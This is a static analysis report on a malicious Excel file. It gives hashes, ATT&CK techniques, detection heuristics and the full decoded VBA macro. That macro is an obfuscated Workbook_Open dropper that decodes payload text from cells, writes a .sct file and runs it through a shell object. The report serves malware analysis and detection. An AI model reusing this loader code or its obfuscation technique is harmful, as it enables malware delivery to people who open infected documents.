Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c0e6e403cdd0be86…

MALICIOUS

Office (OLE)

659.0 KB Created: 2018-07-26 00:26:51 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: e441f6929784d724596f9fb7ec292f6e SHA-1: 86089902d834b92bc1156937e0fc56428471057c SHA-256: c0e6e403cdd0be86ab48d7bb16f28a65d9ca32f921fd374a39d4e71280faa5d8
264 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The malicious Excel file contains an obfuscated Workbook_Open VBA macro designed to execute a second-stage payload. The macro utilizes CreateObject to instantiate Wscript.Shell and mshta.exe, and then executes a script file named 'klTabular.sct' located in the AllUsers profile directory. This indicates a downloader or dropper functionality, aiming to fetch and run further malicious code.

Heuristics 9

  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Next klClipboardFormatCGM
        With CreateObject(Cells(195, 106))
            .CreateTextFile(klRangeAutoFormatTable10).Write (klChartTitles)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Next klClipboardFormatCGM
        With CreateObject(Cells(195, 106))
            .CreateTextFile(klRangeAutoFormatTable10).Write (klChartTitles)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Sub WorkBook_Open()
        For Each klClipboardFormatCGM In ActiveWorkbook.Sheets(CStr(Cells(90, 72))).Range(CStr(Cells(148, 146)))
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        For Each klClipboardFormatCGM In ActiveWorkbook.Sheets(CStr(Cells(90, 72))).Range(CStr(Cells(148, 146)))
            klRangeAutoFormatTable10 = Environ(Cells(105, 105)) & Cells(140, 31)
            If klClipboardFormatCGM.Value <> 0 Then
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Reference to mshta.exe high SC_STR_MSHTA
    Reference to mshta.exe
  • Fake invoice / payment lure low SE_INVOICE_LURE
    Document contains invoice or payment language paired with an action verb — useful context when combined with link, macro, or attachment indicators

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1224 bytes
SHA-256: ad140ebadacbcb8e8800e1876b1fc3e7befc9146a4cf3882c213357eb08239d8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub WorkBook_Open()
    For Each klClipboardFormatCGM In ActiveWorkbook.Sheets(CStr(Cells(90, 72))).Range(CStr(Cells(148, 146)))
        klRangeAutoFormatTable10 = Environ(Cells(105, 105)) & Cells(140, 31)
        If klClipboardFormatCGM.Value <> 0 Then
            klChartTitles = klChartTitles & Chr(klClipboardFormatCGM.Value - 1300)
        End If
    Next klClipboardFormatCGM
    With CreateObject(Cells(195, 106))
        .CreateTextFile(klRangeAutoFormatTable10).Write (klChartTitles)
    End With
With CreateObject(Cells(99, 68))
.Exec Cells(52, 122) & klRangeAutoFormatTable10
End With
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True